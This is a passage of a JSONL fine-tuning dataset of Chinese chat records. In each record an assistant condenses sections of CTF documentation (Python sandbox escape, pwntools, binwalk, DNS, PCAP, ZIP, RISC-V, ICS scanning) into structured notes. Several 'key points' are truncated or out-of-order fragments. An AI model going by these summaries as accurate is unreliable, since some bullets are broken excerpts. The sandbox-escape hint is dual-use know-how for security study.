"code:text"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c8343871b9de39812602", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「创建对象以及引用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`\n标题：Python 沙盒\n章节：Python 沙盒 > Python 沙箱逃逸的一些方法 > 创建对象以及引用\n路径分类：pwn / pwn/sandbox/python\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“创建对象以及引用”展开。\n- Python 的 object 类中集成了很多的基础函数，我们想要调用的时候也是可以通过创建对象进而引用。\n\n关键术语：\n- 漏洞利用\n- pwn\n- sandbox\n- python\n- python-sandbox-escape.md\n- code:bash\n- code:py\n\n代码/命令片段线索：\n- bash: 2 行，首行 `().__class__.__bases__[0]`\n- py: 6 行，首行 `#读文件`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 630, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "创建对象以及引用", "heading_path": ["Python 沙盒", "Python 沙箱逃逸的一些方法", "创建对象以及引用"], "original_id": "docs-9d1795308f54d6209ffb", "original_line": 1388, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "source_root": "docs", "source_sha256": "570570f0a47eb77c249b26bca6c4b3c05b9a3156bea628aa4abacc505aa59dec", "split": "train", "split_group_key": "e52be0f7f4a34437c9a41bd7", "subcategory": "pwn/sandbox/python", "terms": ["漏洞利用", "pwn", "sandbox", "python", "python-sandbox-escape.md", "code:bash", "code:py"], "title": "Python 沙盒"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cc81f32cbacbecd0afa8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 pwntools」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 pwntools\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“安装 pwntools”展开。\n- pwntools 是一个强大的 Python 软件包，其为我们提供了基本的 pwn 脚本编写环境，以及各类方便的利用工具，在安装好 Python 以及 pip 之后你可以很方便地使用如下指令进行安装： ``shell python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools ` 之后在 Python 中便能很方便地通过 from pwn import * 指令使用该包中的各类工具，你也可以使用 from pwn...\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `python3 -m pip install --upgrade pip`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 373, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "安装 pwntools", "heading_path": ["pwn-related tools", "在本地直接搭建 CTF Pwn 做题环境", "安装 pwntools"], "original_id": "docs-02130f5bdc5d59a6be13", "original_line": 850, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "ea3d4914c5139030db6211d0", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "environment.md", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ccc107693256f50cafc4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/false-disasm.md` 中的章节「解决方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/false-disasm.md`\n标题：False Disassembly\n章节：False Disassembly > 解决方法\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解决方法”展开。\n- (near + 0x1) 08048085 DB E9 Label_08048086: 08048086 B8 01 F0 00 00 mov eax, 0xF001 ;\n- 看起来最直接的方法就是将这个无用的0xE9用十六进制编辑器手动替换成0x90. 但是如果程序有进行文件校验, 计算checksum值, 那么这个方法就行不通了. 所以更好的解决办法是使用如IDA或类似有做控制流分析的反汇编器, 对于同样有问题的程序. 反汇编结果可能如下: `` ---- section .text ----: 08048080 E9 01 00 00 00 jmp Label_08048086 ;\n- xref ( 08048080 ) `` 反汇编结果看上去还行\n\n关键术语：\n- reverse\n- platform\n- linux\n- false-disasm.md\n\n代码/命令片段线索：\n- plain: 8 行，首行 `---- section .text ----:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 366, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "解决方法", "heading_path": ["False Disassembly", "解决方法"], "original_id": "docs-51ba88833c917fcd37cb", "original_line": 1497, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/false-disasm.md", "source_root": "docs", "source_sha256": "5b8873145e9ecf3b08e6a7243805a4658761f65d3f22af983a422a14df220ee9", "split": "train", "split_group_key": "52bae3f4d14253ff8f6aad9c", "subcategory": "reverse/platform/linux", "terms": ["reverse", "platform", "linux", "false-disasm.md"], "title": "False Disassembly"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/false-disasm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d1bc90358bcbf515df9e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/encode/computer.md` 中的章节「2018 DEFCON Quals ghettohackers: Throwback」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/encode/computer.md`\n标题：计算机相关的编码\n章节：计算机相关的编码 > ASCII 编码 > 2018 DEFCON Quals ghettohackers: Throwback\n路径分类：misc / misc/encode/computer.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 DEFCON Quals ghettohackers: Throwback”展开。\n- ` 第一直觉应该是我们去补全这些叹号对应的内容，从而得到 flag，但是补全后并不行，那么我们可以把源字符串按照 !\n- ') print repr(''.join(chr(97 + len(s) - 1) for s in sp)) ` 进而可以得到，这里同时需要假设 0 个字符为空格。\n- 分割，然后字符串长度 1 对应字母a，长度 2 对应字母 b，以此类推 `shell ori = 'Anyo!\n\n关键术语：\n- misc\n- encode\n- computer.md\n- code:shell\n\n代码/命令片段线索：\n- plain: 1 行，首行 `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`\n- shell: 3 行，首行 `ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'`\n- shell: 1 行，首行 `dark logic`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 453, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "2018 DEFCON Quals ghettohackers: Throwback", "heading_path": ["计算机相关的编码", "ASCII 编码", "2018 DEFCON Quals ghettohackers: Throwback"], "original_id": "docs-c1b46c2e79311206dc52", "original_line": 561, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "source_root": "docs", "source_sha256": "baabe4939cf3b76b8c4c33d2e990aedcd12c11970037a1431f7bea48d9711909", "split": "train", "split_group_key": "d0878490aa19ad0d6a6b7e5b", "subcategory": "misc/encode/computer.md", "terms": ["misc", "encode", "computer.md", "code:shell"], "title": "计算机相关的编码"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d22e8c36ce4baa339ae7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/dns.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/dns.md`\n标题：DNS\n章节：DNS > 简介\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- ``sh +-------------------------------+ | 报文头 | +-------------------------------+ | 问题 (向服务器提出的查询部分) | +-------------------------------+ | 回答 (服务器回复的资源记录) | +-------------------------------+ | 授权 (权威的资源记录) | +-------------------------------+ | 额外的 (额外的资源记录)...\n- 查询包只有头部和问题两个部分， DNS 收到查询包后，根据查询到的信息追加回答信息、授权机构、额外资源记录，并且修改了包头的相关标识再返回给客户端。\n- `` 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / QNAME / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QTYPE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QCLASS | +--+--+--+--+--+--+--+--+--+--+--...\n- - QNAME ：为查询的域名，是可变长的，编码格式为：将域名用.号划分为多个部分，每个部分前面加上一个字节表示该部分的长度，最后加一个 0 字节表示结束 - QTYPE ：占 16 位，表示查询类型，共有 16 种，常用值有：1 ( A 记录，请求主机 IP 地址)、2 ( NS ，请求授权 DNS 服务器)、5 ( CNAME 别名查询)\n\n关键术语：\n- misc\n- traffic\n- protocols\n- dns.md\n- code:sh\n\n代码/命令片段线索：\n- sh: 11 行，首行 `+-------------------------------+`\n- plain: 10 行，首行 `0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 908, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "简介", "heading_path": ["DNS", "简介"], "original_id": "docs-bbc1c9398cf9090ac572", "original_line": 602, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/dns.md", "source_root": "docs", "source_sha256": "0de1f64a240ad47b4864dcc352edcb08b8d8414ae760c1847b2cefa388bfa2eb", "split": "train", "split_group_key": "57b291bf4f3b9fb993dc5042", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "dns.md", "code:sh"], "title": "DNS"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/dns.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d456c2e6cd845a6784a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/fix.md` 中的章节「Section Header BlocK(文件头)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/fix.md`\n标题：PCAP 文件修复\n章节：PCAP 文件修复 > 常见块 > Section Header BlocK(文件头)\n路径分类：misc / misc/traffic/fix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Section Header BlocK(文件头)”展开。\n- ``shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Byte-Order Magic (0x1A2B3C4D) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Major Ver...\n\n关键术语：\n- misc\n- traffic\n- fix.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 15 行，首行 `0 1 2 3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 582, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Section Header BlocK(文件头)", "heading_path": ["PCAP 文件修复", "常见块", "Section Header BlocK(文件头)"], "original_id": "docs-a78141126cca425168d2", "original_line": 597, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "source_root": "docs", "source_sha256": "7738c6ca7a537110aae2b0183bb3420088531e5950042c189fc351bd22f3dc42", "split": "train", "split_group_key": "13219192f0a447b19f7b4497", "subcategory": "misc/traffic/fix.md", "terms": ["misc", "traffic", "fix.md", "code:shell"], "title": "PCAP 文件修复"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d5aa19698b5c58596516", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：ZIP 格式 > 文件结构\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件结构”展开。\n- 每个文件 entry 则有 Local File Header 和对应的 Central Directory Header。\n- 一个普通 ZIP archive 在末尾通常有一个 EOCD，用于描述中央目录；\n\n关键术语：\n- misc\n- archive\n- zip.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 2083, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "文件结构", "heading_path": ["ZIP 格式", "文件结构"], "original_id": "docs-0094b55b3ef0fc95c14d", "original_line": 545, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "source_root": "docs", "source_sha256": "171c086900627e8f254fb7ea6f3caf29192f5b226bef34498c74cf7a30fd5f7b", "split": "train", "split_group_key": "06f758ff6f0ca5227e8aa377", "subcategory": "misc/archive/zip.md", "terms": ["misc", "archive", "zip.md"], "title": "ZIP 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d6af576c91004ca9ebbc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/encode/computer.md` 中的章节「coding=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/encode/computer.md`\n标题：计算机相关的编码\n章节：coding=utf-8\n路径分类：misc / misc/encode/computer.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“coding=utf-8”展开。\n- ` [FLAG_PREFIX]BASE64_i5_amaz1ng~ ``\n\n关键术语：\n- misc\n- encode\n- computer.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `感觉像是程序有点毛病，不过还是能看出来 flag。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 878, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "coding=utf-8", "heading_path": ["coding=utf-8"], "original_id": "docs-8aed203da08d387fae3b", "original_line": 564, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "source_root": "docs", "source_sha256": "baabe4939cf3b76b8c4c33d2e990aedcd12c11970037a1431f7bea48d9711909", "split": "train", "split_group_key": "b8259c8bb0b9655745877cb9", "subcategory": "misc/encode/computer.md", "terms": ["misc", "encode", "computer.md"], "title": "计算机相关的编码"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d799a14450394ccfe7be", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/prefix.md` 中的章节「前置技能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/prefix.md`\n标题：取证隐写前置技术\n章节：取证隐写前置技术 > 前置技能\n路径分类：misc / misc/prefix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“前置技能”展开。\n- 能够利用脚本语言（Python 等）去操作二进制数据 - 熟知常见文件的文件格式，尤其是各类 文件头、协议、结构等 - 灵活运用常见的工具\n- 了解常见的编码 能够对文件中出现的一些编码进行解码，并且对一些特殊的编码（Base64、十六进制、二进制等）有一定的敏感度，对其进行转换并得到最终的 flag。\n\n关键术语：\n- 漏洞利用\n- misc\n- prefix.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 214, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "前置技能", "heading_path": ["取证隐写前置技术", "前置技能"], "original_id": "docs-249936c443daba10a828", "original_line": 539, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/prefix.md", "source_root": "docs", "source_sha256": "1b0a508414fbe3253d471dcf4b730542665a0ec2624fddeab8e0e78507d89b73", "split": "train", "split_group_key": "8e1927fc6e832a7fc4495f34", "subcategory": "misc/prefix.md", "terms": ["漏洞利用", "misc", "prefix.md"], "title": "取证隐写前置技术"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/prefix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d7d7d33af93ab5474a0c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/prefix.md` 中的章节「binwalk 命令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/prefix.md`\n标题：取证隐写前置技术\n章节：取证隐写前置技术 > 常用工具 > binwalk 命令\n路径分类：misc / misc/prefix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“binwalk 命令”展开。\n- `shell root in ~/Desktop/tmp λ dd if=flag of=1.zip bs=1 skip=25683 431726+0 records in 431726+0 records out 431726 bytes (432 kB, 422 KiB) copied, 0.900973 s, 479 kB/s ``\n- binwalk 本是一个固件的分析工具，比赛中常用来发现多个文件粘合再在一起的情况。\n- 根据文件头去识别一个文件中夹杂的其他文件，有时也会存在误报率（尤其是对Pcap流量包等文件时）。\n\n关键术语：\n- misc\n- prefix.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 8 行，首行 `root in ~/Desktop/tmp λ binwalk flag`\n- shell: 4 行，首行 `root in ~/Desktop/tmp λ dd if=flag of=1.zip bs=1 skip=25683`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 858, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "binwalk 命令", "heading_path": ["取证隐写前置技术", "常用工具", "binwalk 命令"], "original_id": "docs-ff2611a1ab32e2523716", "original_line": 542, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/prefix.md", "source_root": "docs", "source_sha256": "1b0a508414fbe3253d471dcf4b730542665a0ec2624fddeab8e0e78507d89b73", "split": "train", "split_group_key": "8a275d33725119c6159b85b7", "subcategory": "misc/prefix.md", "terms": ["misc", "prefix.md", "code:shell"], "title": "取证隐写前置技术"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/prefix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d8201db552e55494c05d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（3）加载指令（I 形）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （3）加载指令（I 形）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（3）加载指令（I 形）”展开。\n- | 指令 | 含义 | 示例 | 说明 | |--------|----------------------|------------------------|--------------------------------| | lb | 加载字节（有符号） | lb x5, 0(x1) | 从 x1 指向的地址读 1 字节，符号扩展到 x5 | | lbu | 加载字节（无符号） | lbu x5, 0(x1) | 零扩展 | | lh | 加载半字（16 位） | lh x5, 2(x1) | 符号扩展...\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 532, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（3）加载指令（I 形）", "heading_path": ["Risc-V", "0x03 常见指令", "（3）加载指令（I 形）"], "original_id": "docs-9b1e3508283b721d9f17", "original_line": 117, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "48465c3f2bd41979d40d23ee", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d900cba75df3a702a8ee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/discover.md` 中的章节「基于工控端口的信息扫描脚本」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/discover.md`\n标题：ICS_CTF 发现\n章节：ICS_CTF 发现 > 工控扫描脚本 > 基于工控端口的信息扫描脚本\n路径分类：ics / ics/discover.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基于工控端口的信息扫描脚本”展开。\n- 在大量IP中如何发现工控设备,除了工控特殊端口意外，大量端口都是正常服务，例如ftp、ssh、telnet、smtp、ntp等正常网络服务。\n\n关键术语：\n- 漏洞利用\n- ics\n- discover.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 1716, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "基于工控端口的信息扫描脚本", "heading_path": ["ICS_CTF 发现", "工控扫描脚本", "基于工控端口的信息扫描脚本"], "original_id": "docs-be5e84b28c30c2045ff7", "original_line": 28, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/discover.md", "source_root": "docs", "source_sha256": "bcb3d5fac5c985682c3d51007de15d8a868b509c9b7d2a43da2065224760f1aa", "split": "train", "split_group_key": "56036fbf788c425471333da9", "subcategory": "ics/discover.md", "terms": ["漏洞利用", "ics", "discover.md"], "title": "ICS_CTF 发现"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/discover.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-db1465063d124209d521", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「寄存器使用一览」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x04 调用规约 > 寄存器使用一览\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寄存器使用一览”展开。\n- | 类型 | 名称 | 用途 | 由谁保存 | |----------------|------------|------------------------------|-----------------| | x1 | ra | 返回地址 | 调用者（caller）| | x2 | sp | 栈指针 | 被调用者（callee）| | x8 | s0 / fp | 帧指针 / 保存寄存器 | 被调用者 | | x10–x17 | a0–a7 | 参数 / 返回值寄存器 | 调用者 | | x5–x7, x...\n- > 注意 sp, ra 寄存器严格来说不属于 草稿/保留 寄存器分类，对这两个寄存器的处理多以callee保存为实现。与此同时还有 gp 等寄存器不属于这个范畴。\n\n关键术语：\n- 栈\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 